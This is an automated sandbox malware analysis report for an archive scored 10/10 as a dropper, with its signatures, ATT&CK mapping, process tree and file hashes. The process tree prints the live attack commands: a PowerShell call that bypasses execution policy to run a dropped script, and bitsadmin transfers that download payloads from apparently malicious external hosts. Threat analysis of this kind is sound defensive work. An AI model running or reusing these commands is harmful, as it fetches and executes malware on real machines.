2da77359f85bbc09c5ea5a4dd2f768e16079bbff9ae22a7cf84e4411bd65d1cb

Analysis

max time kernel
259s
max time network
256s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28-11-2024 21:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ckJTQEOKC_28_11_2024.zip.7z
Size

27KB
MD5

28392dc4be3ecbc57953c605981affdc
SHA1

fa897706e7e4ade0d35a3e2f6d0637c897fef777
SHA256

2da77359f85bbc09c5ea5a4dd2f768e16079bbff9ae22a7cf84e4411bd65d1cb
SHA512

e519bff9d5f41e519dba9e0d31dbc020f0b61b2157533becf8ee0508577a31f8fa6075e7f7d41566346751578a7a32967a62ad166da9cf47c1383bd943cc2a69
SSDEEP

768:wqRsZXvxy2Wwbmqd1hBv4yUevPXp+9NaP996:wqRs5FWwbmq3bZPXp+9N

Score

10^/10

dropper execution

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

bitsadmin.exebitsadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2040	3580	bitsadmin.exe	115
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5104	3580	bitsadmin.exe	115

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

Processes:

bitsadmin.exebitsadmin.exe

pid	Process
2040	bitsadmin.exe
5104	bitsadmin.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
4584	powershell.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

Processes:

notepad.exe

pid	Process
4592	notepad.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid	Process
4584	powershell.exe
4584	powershell.exe
4584	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

7zFM.exe

pid	Process
428	7zFM.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

7zFM.exepowershell.exe

description	pid	Process
Token: SeRestorePrivilege	428	7zFM.exe
Token: 35	428	7zFM.exe
Token: SeSecurityPrivilege	428	7zFM.exe
Token: SeSecurityPrivilege	428	7zFM.exe
Token: SeDebugPrivilege	4584	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

7zFM.exe

pid	Process
428	7zFM.exe
428	7zFM.exe
428	7zFM.exe
428	7zFM.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 4584 wrote to memory of 4924	4584	powershell.exe	117
PID 4584 wrote to memory of 4924	4584	powershell.exe	117
PID 4584 wrote to memory of 684	4584	powershell.exe	121
PID 4584 wrote to memory of 684	4584	powershell.exe	121

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC_28_11_2024.zip.7z"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:428

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5092

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\WdxzhJPH.vbs"
1⤵
PID:2444

C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\WdxzhJPH.ps1"
1⤵
- Opens file in notepad (likely ransom note)
PID:4592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-Command" "if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & 'C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\WdxzhJPH.ps1'"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4584
- C:\Windows\system32\getmac.exe
  "C:\Windows\system32\getmac.exe" /fo table
  2⤵
  PID:4924
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /reset
  2⤵
  PID:684

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer mBqCIf /priority FOREGROUND "https://ghryj.eu/post//7e3210e6d8b2a6a7e2282c08bd060468.html" C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\0_svchost.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:2040

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer caAxKn /priority FOREGROUND "https://uhfb.eu/post//7e3210e6d8b2a6a7e2282c08bd060468.html" C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\1_svchost.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:5104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4tamwgwf.gax.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\0_msedge.log

Filesize
32B

MD5
fb2d4b4538f231805a677bf1fdae7618

SHA1
9af3e31cad8f69e7d61f81005f8d7bb615ceea05

SHA256
07bd6fa0bfb02d25cb31d8d9bb31653912671394c0fb1e8b10296682448627f2

SHA512
d2fecf45f070e5cd752afdc6b229ffe6027ee12c726e98cc867ceb19990f964cd084de24312530c9d65a9b7ad7ad51d3d9a82c444d56a5a8cb78d65a636b6f05

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\1_msedge.log

Filesize
32B

MD5
c5f79e50e9f1426aed3a210a3a5e8c4d

SHA1
7c8dfd39f669d241205219f066a022e028749d8e

SHA256
89e9165ac6d056ca646a831e17d0c0f8877a7ebc9adba1665be6a6b60d9636aa

SHA512
20ac36e6a588077a038c894ebc0bd53966210b94706674e8ebc5e852463123c7f6a1255769949c29e70e4c75d179af3dfc77501cd5c7c3d6fbf0d92453074d41

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\WdxzhJPH.ps1

Filesize
2KB

MD5
9d6d8a084805bbf5d22507780d14e8f4

SHA1
27ebc6c5948855d6b5a7f1c5422a3be6a4a1e77a

SHA256
9092a282a5c56c0a19713fd3067b528efae5b27e9faa737c87a9bbf6a566cc5e

SHA512
a8142d16469fb415ad3f9212d52f0aadde797876e7735f3faebd79b57acd04688726e83047c808851ea9394b14dca0dad8c33a1e7695c4ce2a768d46a2f3597b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\WdxzhJPH.vbs

Filesize
876B

MD5
fd4e455ea3f14f99f5f9b66b4e0ef6d9

SHA1
001bf670b7c829cb9d0ffb82a13ff2a65b1cb969

SHA256
1cc49c3a3e3d7af8deea30253f7f0b2486b6de8f51c7ab1b420b22f5918005fc

SHA512
f9b228ce9358013b92db3803fc6c81d7badf3917d7814d36ee43885b548558c1fbb3e4658d6f2ce752331d51d79898060071d475617810b3103eec8f85320d3b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\darm.chh

Filesize
1KB

MD5
6b831ce8380c693ee6070ad424c9f92b

SHA1
b87e2ef196383c246b996c4764e328d523b5c5b7

SHA256
a65d23c0df6c750741bb63dee3564ea44462a07050f54a3b585d2c0c4b943e35

SHA512
d333149446bd5e83310037b293b1cd73d3a2a15fa9b10ccbcda5fcac70b67e53e86aea4b7c7e0f567106ba3ca45c9856ccc69db7fd75b2d272397e92abf503e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\lite.chh

Filesize
95KB

MD5
960716f6d0c819d551f68b970faff1f9

SHA1
f23ca0bafec43bd8ba899190d290ab9db97b7b07

SHA256
a83be5df3bb0b2b83a3727b50d0ebd74b8d0ef425a29f1352095260e12569192

SHA512
50fc39e4a1d3cb91ebc76dfe1eaf5f32fb4871957d57d67c0bbde29dd0f97412f945db442a4f95b3b7f69f1148fe68df7f76621493ad64f742052b333fbe5f25

Download Submit
C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\msedge.log

Filesize
16B

MD5
49fa9b3510c1cbf6d6df2f4a2f9f8e65

SHA1
3c1c22697e4370100ef87a52084d7c14fbf657d3

SHA256
fcbccd7b328d9270a0f3820ecf622f6e14c09df6061f2275cb9524673b681acf

SHA512
8870d64fb90035f6a8735c1bc8452ef516fd26de8472bdd4fc2e8d23a1a4b65566e954b1e3711a460ece543325389a487fdfc5ac477af8617b658e930ffd721f

Download Submit
memory/4584-18-0x0000016BC9290000-0x0000016BC92B2000-memory.dmp

Filesize
136KB

Download
memory/4584-32-0x0000016BC9EF0000-0x0000016BCA418000-memory.dmp

Filesize
5.2MB

Download